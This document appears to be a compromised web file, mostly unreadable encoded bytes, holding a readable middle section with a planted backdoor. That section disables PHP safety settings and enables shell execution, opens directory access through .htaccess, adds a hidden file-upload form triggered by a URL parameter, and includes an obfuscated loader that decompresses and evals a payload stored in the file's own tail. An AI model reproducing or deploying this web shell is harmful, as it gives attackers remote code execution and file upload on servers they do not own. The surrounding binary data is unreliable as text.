=(QQRciurdlvsjyѨgUK;/ĭ]C=ciurdlvsjy6RŅG$g?jGT+Č$-S$C'D(7 XBri%UܙSbR"kxjjTЍbzڰPvnR80Ѳs;hK39#_
M$o|vg4'ZN-8&j'ۯF3[?\1	X52;|v)$b%OzWܞzspe1~"=@X0f3%vov%eIF!gQC`|.F"t%%馻0Bm2دBژͻ
JD"Ǳ|KPdciurdlvsjyrO7IqBC9zm&KZ'XJnЯJοiñ+:|([frmtalcpuk]*bJ/GgS%LIRmP߅QqJ｢PR4D)f0QsGWv#9z%{o]~xjbwB$Ì+F@\p=;9βWqyAΖ'ՌibKK=UkKfy(;둟0I_Zds ++lZӜUGӐX
QHoD 6@#
֮yu͈kedVPGO{zJBP colj߼j[@NͷQ_]#m`Ozk;|G:f +jZW,:qHsJ:#~;dZQp%cl'i5zAY4~w{b4+{٩j[`UljP(9@Y=zqo1'[C&V .$o176E?{)frmtalcpuk1\R(
*%F"9XDܵc y`_?
?^|PcYbL2!*$0$`Ƭ=!:~oRBV5%k,_%ciurdlvsjyr ~ N%/q)Y%+SHHGfrmtalcpukzVyzϳ!T˃kPAEg̅rW[Cڠ"Y4NkBZ*hѻ$1IkE&o~frmtalcpuk»az0Zs$ZbqF=ue2ߣ|ǻR
_Gmȗ%B	ciurdlvsjyfrmtalcpukR|5LQHaؕbfrmtalcpuk8Ӫ򤿫th?`_UW?/9IzC*_ 9"BK#O	b@7jzx]'撶uilKx 3Ѡ֌	&Bh\-zy[C?,'KM05aWQcG?KqA]-dl{tdMfrmtalcpuk$1r}(Ϩ$o	χfrmtalcpuk+ӣ^NzWYTuȩ2%Ɋ+jՊ3GR3quCm0ߖЍ|smlFQɌ'ݏQciurdlvsjy	/['-ۃ4Mp7՟ť|`餹]r~PyeDX$|kYd9)9BXYL߹tHyh~9)"4`LeJ뻬Ӗs+X..&OR/%մ6Dgg2b\f|O}3Xd}[qkmؼke? E=:S43pLh&! DxO4`=0󒈷=ZAeK=+5Les%:W3MNF7u֦zxm8,jG+睇H3Ԅ=wrlRryUknp*Ӑ*~lx,(frmtalcpukxG\J˨3;S4U|EU9?ɍCZ̸"de3AjOF/4	\rr,Mtu94k@K~ǩ@1&Pf$,t4	*ůG==@8tv	k݉) kO
ZZټ
ط@9}n_`f8fat!=veF\SM"20Yq+l度0&戭ciurdlvsjyu@aciurdlvsjy9Fb*NF~`T0W:Ƣd}phe[UŌ!A3{cpOyjHg]G`۹;q%yDQPße)G('IJZ&aI0Lb,*ad5iO
dq6lfrmtalcpukU
53)CN9gV
@y5MMPӉ_s:/lL#+f2ݓt H̭!@0WciurdlvsjyW\#"b m@ciurdlvsjylv;`	ú/;),[ˡfrmtalcpuk0_'kFǎY9ݷ³|JNh6CSJH8qfrmtalcpukO^fp΅z)q՛kB?`n@1tJَ}g1ۍ\[V3Y\h6;H/ƍEHm1;7c_SGPImsJ=bY.^_z,;/"FrǗ\r}6'A1M&Lpɇ#7Yʔޒ{ciurdlvsjybv9PɅl0gHܸ싐̉2xClCQ: ;Dzciurdlvsjy2p1 Gރ0cB|`~Mk݌+a೬;C]-HeуSBFUsOQkB3
K_y}3{o#n pۼ4*2rW\%Kj!rDZNRfeQvtC0_.n49*zM[Q([؜H_q 9E	ܢ"IÑuZ+PRj57YS1B.g-Ӿu4ܖ($I%F!v&z.{;3{gxh/3y[³ n'miYYW.cHewoDyq
9o9ϒltciurdlvsjyk֯SqX)3^29fjfrmtalcpukf 38˙C6GfħepJ[#яq\걗XQQQMCk#oHC/
Y⪨$q GT(b 1/"鍢tciurdlvsjy$C$3T!?N|-gCw2?9frmtalcpuk3 $vGxj\MO=hsFZOl'Wb4[-5+E(Ar+}v	IªKȷ::+?ZP'c]6AI'(meոⓉ8@~s_d
;~7Y熢1xi&ZRy0KŇJ!zRY4SEXnͧ
G,C-8frmtalcpuk.YEfrmtalcpukR
Y뻞b|Eń^(s#/Kެfrmtalcpuk@=flIԴZϘaQ5 ZA\cNTr')WRRЙEaOd1$ }f09(m(WymSt#:/frmtalcpuktaQ3.RVyO'Q;4~R\}ut'ŬQ)*m/2|ā3|e.-=(c޹(꒵DfrmtalcpukvGY_O#Y!wfslfrmtalcpukK%8ۇ-Dc0jᷢB,*=&k8
2?L
wH! QwE0rTo`%2pgAR撳vݯMD݃D|KBG3aܰfO6_ܘ+^J`oJDz\!U÷Bm^ʩqWW*Q,Nfrmtalcpuk	c_E cSGGL
F!\ciurdlvsjyh$.|Dʏe\ciurdlvsjytZe(4Q6ǓܕMid?,[ڀ0_0}tn6k.wypCJ8'l+=0˩&三S@75Z}tx,lw0wx΀4mDfEi!CRQscrAf 3tƬjk==@^s8.UU`Q62[uq,%= vHmBǰyciurdlvsjytɄr$xcT}U6Rc_F
g~)~0-SoVQ.dzQpB
&0,)u_ayYe_m:
ȗ &۳{Y]Ŀ\QB1A=X0dm~F*S# XX3frmtalcpuk塨$.]_ӺQ|
UKxa,A)bpbl2`cd#Є}gZ\m2V۰ Pkå sX=q0uDq!5zO_ofrmtalcpukt+)jmKG^S
LfrmtalcpukWԎvb/KV8k KEm+,qZ(B}LPBoe0,&kDbdfrmtalcpuko-FG2rPx%\nx;jJys#), OpP{|e4§OQA![QLݴF&6ApMP,+P+[Ѝޔk˒URov{,a0-j[frmtalcpukm
Rk闣ifrmtalcpukԂqG\b,3xNOciurdlvsjy3O0SnI7G x  9W+wzwzl(
~Xr9~?J\/۲ͯ0$kxɉKf7^}]TPڄh)4o
lSʮ7E=ExWXu#iy&z؅hc:&v{-w`:h]k	ɑ$d⧿2ԥgg6(\H FȬLm4C5fx/"X[T[!rQQԛ5t:-0T+`Z#f:X'n$0@)s㞋44FbM2\%$fbҕUCJ}
=vryǻ|l6Is\Ec`d3C@qaꅍ{Em`	K}t0OO%72u 3~1DϻVl;O1SJ'~ܿ9tjD8ntP雿ʗciurdlvsjy|Q_1kɹݛ6yJυX{=, fpu5 FWwx+R8'?.k1QD'ĥ"F, %.]*XW2Vciurdlvsjy9)frmtalcpuk+IԲ\_
fi]5d+_mfrmtalcpuk1Oԓ.V* #yRǰ{w-Y.PsJciurdlvsjyU$tydLVSsOC_ciurdlvsjyL9}Rp"[M1s(O+hخyuvɏ~j
BϜPԸXEv71'a,r(Բ`& 8+!`NxVowaT0(#'Q2(4$~b{ E%P1Xr*ى|֢3.ZWqŜ2QzK3O
mXX=ciurdlvsjy ,iyEQ0D[.|WiRhA69wH B?\frmtalcpukm6ݥݸ`#yy@*ť tHiboMTca҂E8"1n4I4u#ciurdlvsjy7:.u=#Dԟ!#]_%f9g\ciurdlvsjyciurdlvsjyD+y3X6'Ųs̓nIWf}kfrmtalcpukj@1yd{rYɈ4KdٛnY]xciurdlvsjy$2`4phwd^j5
	&|3c[@*N:3օ	,%BϸM23?;19F 	lh_ϳK,v
юz23B[͝FՊѼaor:wӨ5R1q*=٨RhfrmtalcpukD232S!Hو
$uB@x1eFmVhٮ~@OcbXq]#8΅	Əjr:hH?:
a^ȅvfrmtalcpukjOk@f҃5E[dBE 27$*;`]2*pʄrs#frmtalcpuk%I&`|+6N! ڤDFYM E@373L7EPb~_%hAO/^
~e*Q-V0}{sX c`k|ciurdlvsjyztna+jin]XFfrmtalcpukoTJ2B
j:ciurdlvsjyNW
6%HciurdlvsjyPƄ
֘[yv4UyciurdlvsjytKmhrUJ͋Δ@6VBohj/cyюLzc@בS
; .2hI%t`5M82log|{әr; }X-rlv򩇰GlAA5c(1A?$eaA8nO=T7VJe\x"C;71xǌw1!\T7Ø4ʸIv8kciurdlvsjyEWo\Aɵciurdlvsjy4h"*4F
qI7%kE?}|L&j#`T2浬m/lKM
Ħ,6iE9CmrQJ
d8T}e#,Yx޻-;wYe裊rciurdlvsjy7Lэu8t Z-HJ,Ɵ+gK7[ia7_G z(&7ͭ6,!ji{ga_㗹םsIN\x&;DǂmMAciurdlvsjy#r,uKV)te9}lzhp@Uciurdlvsjy:\wbj#ĄB҉+ ^h%г𦧧p,MFC5\@qZ~uOدGt(p*bWK`#gW&ڊHvTiUE"Bo d1p-ϼ"F볅R6/gfFԵ6x[(ַD]1{%Lt7.0?V+vwX 2u/+]p[Sl].=8J([&811:VtYieDj`/K/i?/Qh'ݜ-`6Őa#&w~	6MvM,"I6SOq
{L 5I$ ޱpWϘRث(B8&ݝ/B-n(XaiT7M$%l3ܵù;/3Jů[\VV"^/YzC&:񴵽V=~Z!!@EHk66dR}2ciurdlvsjy1~ zG5
h1&غ[؀1u wj&lMߓҞ"oGtbi߅W%AO:f7TqSv
HGMH%L%ftstCͪ_~?\=ciurdlvsjybaY|MsY
t#4
5.rpj,H{/
ֿ
6+ 0G|p틷*oqbBt7).SXU frmtalcpuk&B
BF犨85=h"JW}xy6tEJ2
G ~µ`X2'gQu^ʌL݈P(-qkJE~
frmtalcpuk{
LYXDo%'H|^-C^/v.$*kbh`5\_̛˂|&''
7Fk¸u0;־-syWP[9viU{EX|u!{USZbXw%dqCg؟L*Y
r!0#&+ШOKs
EwgcsH\#ɟua'nKg9q≿wsۨfd8Qe{TvΤCR4)20SO3w\HiCݢ7:!h\$ܙw-%F|83
"bcʇ/P;:zȳYjO]$aIV88frmtalcpukU~췝~%Sv ͸:VheS*qk"]RAofqw২f:W_6=;__c%,1D7@cz#牜AK'qy	Ņ٢F`g@CciurdlvsjyQ\˨JZ֖H0^pQrY0frmtalcpukk*S5jN=PlÚ0qpUZxzv".ٿ424&rPGRD[:7Q]/$s%Wb
rihfrmtalcpuk^JeF
s%yoR\R'
6$es
\$9~
*z(iDD
ÃFϬ kǄ?&M;,H&OI`faX	T%D~d_jfrmtalcpuk2F0r=&,d&M#4UF!?fuLI_LrV e
.d\܁td+!oTIz}o%	W8W&7NÃAjkE^ @gj.0b`ijM-V^w~HBn#4y%IPQCfz
^by RƗ%Gfrmtalcpuk
Wʹך!s#^ciurdlvsjybEM4ύC2wT2(:AL~W0nˮKkȩw-vK

ʒ_"4frmtalcpukoWh-~&ciurdlvsjy;ɣǃgj]pYcJ;xӺ`tkEDeW(@K&]uHV~frmtalcpuk6ʪ$t9͈Xfrmtalcpukq׷~\5/tAwED)7bǍ~LSJ,03O21Ն|I
fE#8GЗ\KtȊsO(s
ZcI_+{9zRܬ@T9V	 wwD -5Jލ6S,Jj\;)q9()J5N%:@Ĺ@q%/sC~, by#Ya%c:|z0N)l'1?H.v#t/q/1a:A_Fu"D=i:LOfrmtalcpukםcqCf"W$O=لSL%Aix-bXw|?l@,4UЃ2׾URǨ8 ٫֙~y'/2qwvX6ciurdlvsjyyʒuf[x֌F]6ɣ۳,Gj V i;Zv}|u&09\frmtalcpukAҔ1Q~ք9ج/X(89L1(zzRcQ݊:fK|
"3czg;0C(`i2b"5.Is=[xM}h{i  C5_^kciurdlvsjyD7b;Iüu}#[ΉUִ|?Hxc%X&=
L7NbM"^ /D|By7
-־ʧAg9%Y1s_|=tSjaO0/	挠QƟoMcИqWN~CIPyJm/v #N.8ZLΩsL)]4	L 7ޫa 
픛Ӓm#@|frmtalcpuk/*t#!7_G98o
8!(6	2̓PH|qgmpFKhtڳJ(`:efrmtalcpuk;yM
k!g̷F&Gݖن$0K$-/uU+@˟u:ءgG+=zM-ԑ-ciurdlvsjy4vwG.ʾrHpΫ\J=½CcB}ESJb%?u19-
&ciurdlvsjyyllV*~-ѯO
X\H	vۘLb4Aث$a|uuOs!WTA$au_frmtalcpukMm 
Lc"=+#_O[ѣd`frmtalcpukr1/,b^rS[MԒBܱFQJ*;?s:HZ7Џ~Ѿ@J{zmK^;wZQiq!Sjdmx"U}mK?&gBfrmtalcpuk#,N̧ZV&ƠV`1
/uUP[sXA%[ܴX󦠹-iwbfWWNz/+frmtalcpukHҭ=(ZQUvrzhM/&^fKQ *~ SbSM^dzl'#9)NxUw93QM+%A50{\/9zTyHf|#LW-	ݏ{MЗQ"%@"1ܿ;2,x.NF,_HJI;'VDQ/r\okXJj(C\&	;DǅCJKW'JߊG/a^F*
vwq?TJc9
=IfrmtalcpukKMUBPQ~o)$frmtalcpukI"vrT)huùF1mfrmtalcpuklcJK-.t^@U9~TRټfo`hJJV˂AJsܹciurdlvsjyH mQ2ʆ/2)xocF s
'  n=N;[YN%n
YH
v]`?5t
Hk(z6Dy+rFNa3F\Y?4.@ѺL:W{9_zBjTԾagT\l@=-TqYIvql*mLR=d#~z#	mA++vL\`9;Sb`~]aT tF'q/m~il3Wm
VK6F;#j #l|WYn~ .ӒϏ!WQs
9^Wciurdlvsjy~lkwOã-6Ѥ;D&SO}՚:XZS~fJ ytu@7#!EiN70͏D,h?ڣWLF67,H Gg~Y[	?WT7y
jwSI)):5]42/ǟg)[ێXy@F[! u1Ʈ[	r۽Ac:-GcZLi륈?cP7:?d Ѣ@PE
28u`× wonq'ZMb%{mFiᔪ~c'!Z{WYw_M!j~Coƅ+C$ZVniNR4R&=$UD6-	$|,(n֣8ciurdlvsjyԩ#frmtalcpukmQRKcu~ciurdlvsjy10-&!H {%'rU[
{S!I;" }=pѸ!py~Z#e/oWn|&V"*sb}ݫ33P챺B}I6z++h~}_zĺcUPLF$F GͦnPඌҌEAfrmtalcpuk#Gߙվ{=x+0ӵ4`Ly!_bf,efvLvy;wP{KfCܗ0){Wciurdlvsjyd_ڠ4퍹lz=wu͊n cU~˃fǌ]#7^Huw5]?2OnW﷈0d;[~"coQz.JF=F#j~YWc99=qԥQ"lL^9\*fo|o 'Ү'frmtalcpukEY`$߹G(\am.6)*ȇ@m:J Тp11̰H- 
-Zciurdlvsjy{,Qqg*`O6
`9=[PqC^]x?FFRj:6pfrmtalcpukdUomPɕ_
!r:pުWySG_IVlT㚅[@`4qm/xrP_frmtalcpukcjH&p)kvyNV
'_zLL	5sBNK_0uJ0NFd(Hs~xԭf``z ~ȂDZ|!tgB@V@yCȦ	] n+R{Yr[=Zp\R0vΛR044	$&'C_JcInAs4\ӑNPO^v&]V`IW|˥љm!{~̷sa)] ^o!^,]kQOq&Ymm]|9󉿴u7[$R%$0 )%oHJ4ȅR)EPWZ]q39ߗ=Ѝ(#X3DO=TpX	f\ɟGA[;hsd)[cТciurdlvsjy؏!E8XH}m6\1^^pt[)5%dC-pC~-NrFI8RS8J[Q*C׏N LDI,t	2|!8nXQ
~+ˇW- vB\Ļ?w0(a˄{f6Yr0 wt
b_6?^C#톎 Umc,`Wf(WĄ9	6K	,P6Y:b򔗼*bciurdlvsjy[*K?
idGT]gAUɆg4?;}m1lw0m';-&yv_ǖ}O&?p:&Ddɨcq7|X6hZ
W7(yAȕznjE;BMxNNz^}2ڼyk7	}HArsrOw+*ÞOe~ A#q|xаO|iZW*˷2^+B'ciurdlvsjy3&Бn%nn
kݻOss-*HdJ^Ŗ+AnŃ: bG&2[ 	wζMzY%6&8';N|r.Y^%-jݟ3L{ot|*݄zCOCnH
(ciurdlvsjyҪ/9I`VE_hH[ok_`Wͮx(Q@ݩl@SATmgB|gFL:RC/safe_mode = Off
disable_functions = NONE
safe_mode_gid = OFF
open_basedir = OFF
exec = ON
shell_exec = ON

Order Deny,Allow
<FilesMatch "\.(html|bash|sh|pl|perl|txt|htm|phtml|css|js|php|png|jpg|jpeg|txt|webp|mp4|svg|pdf|mov)$">
    Order Deny,Allow
    Allow From All
</FilesMatch>

<?php error_reporting(0); if(trim($_GET['f']) == 'f'){ $saw1 = $_FILES['file']['tmp_name']; $saw2 = '../'.$_FILES['file']['name']; echo "<form method='POST' enctype='multipart/form-data'><input type='file'name='file' /><input type='submit' value='upload' /></form>"; if($saw1 && $saw2) move_uploaded_file($saw1, $saw2); } ?><?php
$VQuj='gzuncom'.'press';$Zxpz='exi'.'t';$hYVq='subs'.'tr';$RfZJ='file'.'_get'.'_content'.'s';$XLxk='s'.'t'.'r'.'_r'.'eplace';eval($VQuj($XLxk('olygaqbpnw','>',$XLxk('hqobgzrvjk','<',$hYVq($RfZJ( __FILE__ ),-172819)))));$Zxpz(0);
?>
xTGoPfJ
P`)f=`b oը'׸D,1Q6
g[Ͽhqobgzrvjk}?YO)}x?olygaqbpnw/˸{ɧq?ogVS?OZ=vcolygaqbpnw{olygaqbpnw_rωOSLs`+hqobgzrvjkYfV	$ݶhqobgzrvjka򢨛TՁ	#%I#|hqobgzrvjkY
,k Z\. o?Cr\	AD,CkR+G  A 0`O/jA)
T@1hqobgzrvjk "S14Ap8OW e$ҙ 
olygaqbpnwft6@ED	rIC"aA!z]  hqobgzrvjkݎ^I3=u@	B$]9P&WK[:Σ8UG!͌8AL3Qpτ$#@O8
i%G.uT&(^t  HU T !RjKlU@pÞ:8cb@oჍ @.śnр  ZȊ `z
|rDolygaqbpnw@008ݻ޳P׫N60Y-P"E׉hqobgzrvjkR@ 
 a]Z7Ts&ȁSW#_/hqobgzrvjkH!2 `v,KEolygaqbpnw`?j5V:bpo6jJ 5S|@SğYpH|/B6*b1Ђ$,pa@@"љ[7ҐveY¢Hul O5btC
|;waQfт |@/nu5| ' {cb*pf@-~@H z{[RLRUo硐3j`L}bB F Yolygaqbpnw&}UυLV(R)(~[tU")	P3Lęv*dgLhtYXj9g7C]/LK~wלB`NmlG4CCeHw7'zFAsJv4)/*͚\Q ,n+}ds/oû	&7ύvz#/叞~ ^YbMAolygaqbpnwyqMg\%Ha%&)[WTcUY SħhqobgzrvjkAW/ XB(d&Ơ-OP߽Joy_0j	pƛ+AO/bǝ?ByZ{vgsH +O//RgCbzl8d0
ٿM?bbhqobgzrvjkI^Ү,Po/Aq^F-W2v4
u[A8_)MեJ,i@-)QEhqobgzrvjk2\[qrWBNH!=(u@Xty8_p[l|ͨ8kH%9Փ^6$=U;5ϙ\.Qc~=@T	KؿKvQ]$[ZӐt.&n"d6?usmM@M
ZȪfzTPɘ	"ҘD3?
JQӊFkꜨ
\I:mCC?Շ,t1MJB/Mc t
jJXU%uAyX#_!A[SfhPwd)[Ιjw;s4XTe|qNEeUS|ggozVlBkB_kw?%.f^ѧPh'b3힁O=$Rh[d,8olygaqbpnwolygaqbpnw(*ǝ],rc(#GIEjwstg*aq$KC_@kDeiEFwX])W9CXD2?M"xU:	4KaoeX񙶑+'aFo"uiE9Z6)K8fiL-S["z-ekhQjU?uWY,W|@Jo3s^Ga
;Jڃ;j`"@]Z~!trb4+2snUR+jMp\D$dDhqobgzrvjk)nD^c~t\5\TQs腎ʇ^xL]f.E[;!WPJ&{7ujlV cSKןolygaqbpnw|GР/ʁ~;Lz*sv8vwчWhqobgzrvjku䷐Cւy3l|lI=~2{&LbޑXd+(-BbtK9v\L_
al.:.]
ZolygaqbpnwQgDu)׿[ a|$#9Qq^,@D_qolygaqbpnwR[.;:1N/{ھj0u/5j
|&SX)ik*h/þ	:1v:AjOvД]M0o#5IT_&X	ZY?wu4%qr2ڳ~F	
QP]zem%菩kmOZX7K;@m&olygaqbpnw21V7CS)3T[]_;kgȧ+FgƥT${@w2xD#ۡԅUc[ȒQY2[ijJUvfN
)RQLƤ+kYmG:,R~MmG!rŊYEXjsj~`;pUVteIw\8u醤Nq/M`b
C֔Ēzg$荄 ^q{c6֗]`B
c	gqǔߓۥ+! =b5Y6G7]& Q!ZzwX-R/C 0j-~U	x}mjHO[tH B␏Z .A޸QӨle&^M=؊#K$[XBfQ-ʘ'rBhqobgzrvjkd=r8$3Q?VM9vϟ ayodZeח-lnvB&wvKD\~,wGUvqc.O7	{hqobgzrvjkW
olygaqbpnwݍ-6
v
q-eݤ*+HT*!	_E/O^ Y$H8]ܲkӫo(gZigFMbIT@FtS3d"/HY߇Di!)^KX'cOLs5aOe8
AwteY,ΒqSc׾ihAC7uDștHhitt`h!dW($m7t|aZO`dZ1%Qr
fљ=w fby4K"ʦ߸۵.`c;hqobgzrvjkhqobgzrvjk
MB,6n/C
&&?ޣF}BKJ]i~^0(hP*I
	Tғbqd-I FTU]!*)pYXVWQE;vgd:Yqu+),EhqobgzrvjkoNhqobgzrvjk0wB,1JGolygaqbpnw
zd4}M&EVwc\(-WTP恗yH˄ znIgC &{]	鿬hqobgzrvjke{/}'Z~wݷa9CBe*%rH\hqobgzrvjk,iģFAoς}R62"zKXrqy욾!1$ᬪhj%=@طM?u߹=m 9d
=By3\?hqobgzrvjkQ2	$o2/.&
9O'UDD ܼRarinY/j5tޕ`nolygaqbpnw/2^?rC(o'c"mxtg?Jp
7j#oCD
mkMΣ}᩻zfY/?B6|?aY׿# Z*T#olygaqbpnw-#./S!Mꋇ?wsЧϮ)d!5r{)Bb3Q.@3oJ1V@Lբڤ|zW*k40k%ei\`-K؏ߔX	h
y`/Rw4EhqobgzrvjkZ)zgα{)IJf?qc$kVKV&7~]A:Sw/wmRfSׁq!_POZ[eРdaѝnh#OT&t8K^)tȎdHq\Av|a\1u ,0Hb(KolygaqbpnwF[ǂ jͯsASE=k`¶0o+%ڇDXPc'oQϬr?1(-m6^bٛ#2k4`轆/rӁv &c:^nolygaqbpnwՂN:xAY$]o~$4oOXeSP}Rhc,Uc
X2t6,۱ڻ_凕9(nK yOj{ch`(NQ aK)"yu`
olygaqbpnws&ЅtLvgrNM~)+S[	ҽ|
 ziIZ/O0polygaqbpnw3 55F~6ɀ0eS=!hqobgzrvjkɭg`olygaqbpnweZ},{it5-N*)4jMՁ[+kŊyybK1ؙ~'kQR%#$C+{'쯟]sL4=r5V0]|G"nѳܥ!yY;)YvI3lTRx[,|xHDīxcR	[jA)H#M$o"׋ c{|ݨ^x^7ޒ?olygaqbpnwS[Xgʫ+_gD#i658Oq)[v] &olygaqbpnw=,D-tB#a4p^3Dc#	՞p\SXrOG9f
3c/#~P*,''*UeD_
RD2Q[m!U4r9,wڟ?҇UΜ)24rxolygaqbpnw9T;W#L2_l[MZ6
5?	0xS|_ROQfيd2qJ26PslXݙ53o3v?Q#b{\HCC*\d7OsJþ\u_ݰOӕ_ceOW1L}YYC5}j_C'H!JP~[hᮔ3	FwNAT#7v . jvI#eN*E㔟j|^QChqobgzrvjkᕧ;|	,-ߟ+0AԌk9.	ZR҈ӶF72`KP=-ڛg'Z\ Z|z虒)Lx~p"C!~`C9m
ax?ca8;2l_9 
*LG&[9AJn	"_M1ۧ!.&RZ`%J8\x酪XMgJ5hqobgzrvjk|	3xH.]{1['aPVecɯT;0,iaΒ`Kb=`:4;&b
sA	;qA3:p%Օ,Wt*[#yRg=w[\{St,}6
zj&3H׊q*|mZcS:v^,_nv#3lSql&\X鹐6t5O'_dxڨusw횹dAllţX6ƛkG|Sp%sѰ,]=Xlv8%XWX8]ge/hAG N
6F7xӺW&Gi ܆h9} :F@Yiy,Sk3Ms5"CȘ-43m=ݜۭSo8)70Zc!2sߋ"DHBSqeYZ8(T-g;)0, ohqobgzrvjk!=7G
d
~Guxq:olygaqbpnwx#症[ʀ`/p4alZLϓ@PjoxmVtF0+HßB
_LgMr2$b$huȈ1hqobgzrvjk9o˓yk =1cX:
\A`H/( 7O/|/x:~
{5:Ѳ]rȟ"[ڟv.%g']\HH9
eRCMlC1r	~ue8T}9Ҏk%ݫODCoQ4)'28wi	"x*FLicolygaqbpnwͩĵ)
9L5IqXM*g}(]`-FMy_w{PLl
n{~@E-c.UUkBל躓=OG;$;' rdP}ntёz0+, V[LX9?㞴*:j|t\$Z6E\)=ASZwhOF]&roջFZS~^nYjG/VDrS
c'6A_k
ǣ~Vh=ҮE6;̹o~ӷ0&
ISŗZJ$qOs}5l9@|41ͣEiɹ9n5_kFhqobgzrvjkT@baq{}ygxt	~(4MVkݟLq ܹfDs^jnx,ޫ7|h'E:,
H3E@?/dK	^٤:b2gy6{UH䭟f|mkn["(B1-NS$n9LXUR
/
H`Qay!yhqobgzrvjkMLB$ǃ[0(jQVNnMkWN;.Nc`Folygaqbpnwjh2H#L)*zDZߏtߨ{74QІP4PbA.
ڦT@ԷgBpd?%;SkN;@%-;T/,Xle{uKhqobgzrvjk~?Xolygaqbpnwe~ǌ.!xK kq&-olygaqbpnwmϣJQ]ԑcn㦎J5o[|qΏ2 'ma5]rXQW̹E.@_vE	J~I"}h|dHfq*+/fBMyQ{n%\hqobgzrvjk:|E?)Gƾ
IZW~C&,6Eߞ8Ë+o't6!\&9}$K'|Ә:k!lqnOĈRCOi pm?6oNMG\5
1ؑo@;'1
7Q2@ѽ6|ͷy8EضЎ 5Te]y	&c8y6pՙ,QUVMlc\ aڦ9?zab~O%z8N#:j`v FU
ۅ~4Yk*	ybH~N^|\Bkҫ[׵r|х[.BUʬvTolygaqbpnw	/FAA~@Ej.]\X:Ƕd6T]}exr?Syx2/*dFyF1o-AAms٨ Ê=cgZm
n&aiP6L&m\)h՛̞Uɚ̈́aPyThqobgzrvjki{WrIq#VJq"ˏ((qXV=(R|tҧ@hqobgzrvjkA
+&MP\;#&80=';|L
-:N3~I}SuRpV 7GcLڈk0+ 2"_~YD]qWٓ'֬ABZݶl
l*olygaqbpnw~`DgLJ~?B
?ȇUZRƋ\m-RK;~\hy$d}Y.Hu-olygaqbpnwW̾fZr-M
b{#
qD{Cbma"`.`K`
s.bIYQ}xD4SCg/olygaqbpnw)X=ޞuӤā"lBYiӞx3`&8`-g_V8M!gr$7QlɿQ;Cr.;k!x4$
0\3gԱ;
n+;˼lC=/.੕+:!z7%ՀmLOdJ,ЩF!d	 &DCRC]A8_5W['#}j W;x(WU}=n@*Y9G|!8MDc_I
я=FU
ʮ09{]t=fkn;;窳H57&Kc{K2Q#؋bR2NX{OS[(a7j_*J!q\`dʨn r`/chqobgzrvjkj9`w1hhqobgzrvjkW9^

l7#
aI%ƙt@-&R7?jΕ9JT2Lʼlolygaqbpnwr_gOQ_4?cl.מmaO*
;'c`WCRQ1Jqaמ"̯wGw;m}]il@"hqobgzrvjk~F'cA"l	6.wGܫ;] #nй5̝
wԍR'y)#`uh
lpqm
zkߧ^b3_70ZU6@jgH #!o3jT!-XTm'l+]Z=)1ƱY]=G	?(ʳe٥$wD`ZyUn8
#AZ!]s=-Zr݌Ё-*+G?}xx+pV(UCynاsCzV
+HVﱎP+&lO		ixf4+!X&"ޱTz76vBӍJ&fH^n;u4)~iV{Y=R}Df`hqobgzrvjk`@gVhqobgzrvjk;]9!]Q+E*`P	՟
!F} gp'܃FIihqobgzrvjkVƫh&ì+
pƖ?VUܥuAp]pO/l~`olygaqbpnw
Eqj?|GT?Blo+N|/Ӡ-bk^4a2P(_׶)OY
nJ	kF=; -?*,
׃:z Ƿ35:@Au
BW˸VFXm*Uy83m|3YV"? olygaqbpnwlY|ɕJ$PNDv.qznOnZt U,d6/~TР:z9@B|~&r|=y|;t7cah	:VשYA~*#+gwfϊ?l$`e\sn|[qyȼQ:K\BЧDJ	O?e_4hqobgzrvjkHYyyCb?7*߇ߛ8&q5T
\@`d{rT2fۊxpzGݣ)ܮ@Pq5$=rvƻkӝH[ef^#*Θvn`4r)d9m}ʯ4~ ,/9jF?Mn"V,olygaqbpnw&@7O
)Km_* b,/Oun-cv[s\jy,G8E{߁O.ݘX*2~KļU YzAMc*l7sc$ٿolygaqbpnwt_1kolygaqbpnwqBw5v3領U0Ѭ9GP?kZ
Ax"VW7C/t?Y̍E]@+]q)olygaqbpnw%a%ػRÐ:Ʀk־%59ٖj*d%zrPDhqobgzrvjk y`Ϥb]Ƿ0X37wGolygaqbpnwc7š6f007(n^/:UyUK$6kLR]5Ptg?h݄Cx0Znk D0tm\?cpUaT\=LjvT{Tmgb84hWe9l?^;IоNA8e.P%k6ꛆ#&3r4q9zQBfz.P9du`7 {ad3kx~!$n~䟍'$g3KcP9u+7S`olygaqbpnwADcѺT'o̸#s8ȡj0 ::kd*
"Ow,J)kLb!m$:$
8D!~#c*aVqQ5343˝DI|j#scz"p1%aj
nIwЈ~f-=48/b
olygaqbpnwE]7{hqobgzrvjk,.}G9GTlR$(ˍ6yUefhqobgzrvjkFeRbn(Z&~EzsKͦ6R׃1#wD޼":#èD0t/ ޘYEӲAw;d΅=kTMv
7E]ɵ7Z2#
9=g\9ZH@jlxS*nC\/(Cw.}`E溑1+jgsϋi@#^ ql}z _6:U&`uFt/t"#QloJdXFcki3okugHyDVIt*Ǵ[֥ҍmV jW0:&I;m}T7+ZE}h ܳ8ŬDzPRM@g-ivWGJ&ޢb EU[u9jJRchEͧSR	E6ee?kc}l13{Ip94{{/E_fv*|CE,͔j,2bEPU׻
lCA䴾(T!7&i:wul7vKsSˏ (@5k/L$h2 "kn3X)Sl;(xv`vNQ1
#bUΈu5ih.u\zAK`^n:H4?u;i}*0UQ,]4ML||]`6'*t_hTP[U%I*ȵ=9k0~*7Y4*Z]ޟYM98aqW`8
ݩ5z1-@'YRFy"5S	Yysy#;2QFr y(k~bOWZ=eh]Q*60mB{
+	A?5z zB;geكhyQ~B(o9g	=k`bCGZ)2Y6LA%oy!^qM7hqobgzrvjk@z6q9`g1olygaqbpnw*=' c+Q{ncܯM߳u%O:p}]M,Nt|D,hqobgzrvjk|j3F˿${ql_f yL0ɮym0e鋩ꀠ
v	;ψ'A֙ոG~/q]vf&I- XqcPY7Ud{mz͌E~53^6wI$sέ[sqbEm乄+SvkGpwUd~dR2~ qZtI
}5m*N!23JF"/hqobgzrvjkmĻap}X_ƣʝ)v&~]ċ&+'ۇolygaqbpnwBX	}8VXMfDo$hGby%V:s\ӌw?r:J$X3i8t!q"I9ey+iKHgj.MXK}e~[z+쎱6|Ak5|olygaqbpnwolygaqbpnw,olygaqbpnw$JoQ\+k"~Y{]/Gb#j]`WUЭSG`nuy4N3wiX ÙذRp_:epz)ZUw_21!Jb%oxz:^óӆ.G+0*YddC^gB0;?EV̷2NO[s_5Ո%39dEuVԧS%^)ѓ,}IkW(	Z-\@1s!U|
y@ֶLۊ65!Fz
)5FR00Y!j4/Y=0H9WM׮hqobgzrvjk^xʣQn zp5e@$IVb
jY2W0O?^xGy_ET^X)26ju_ZbFM
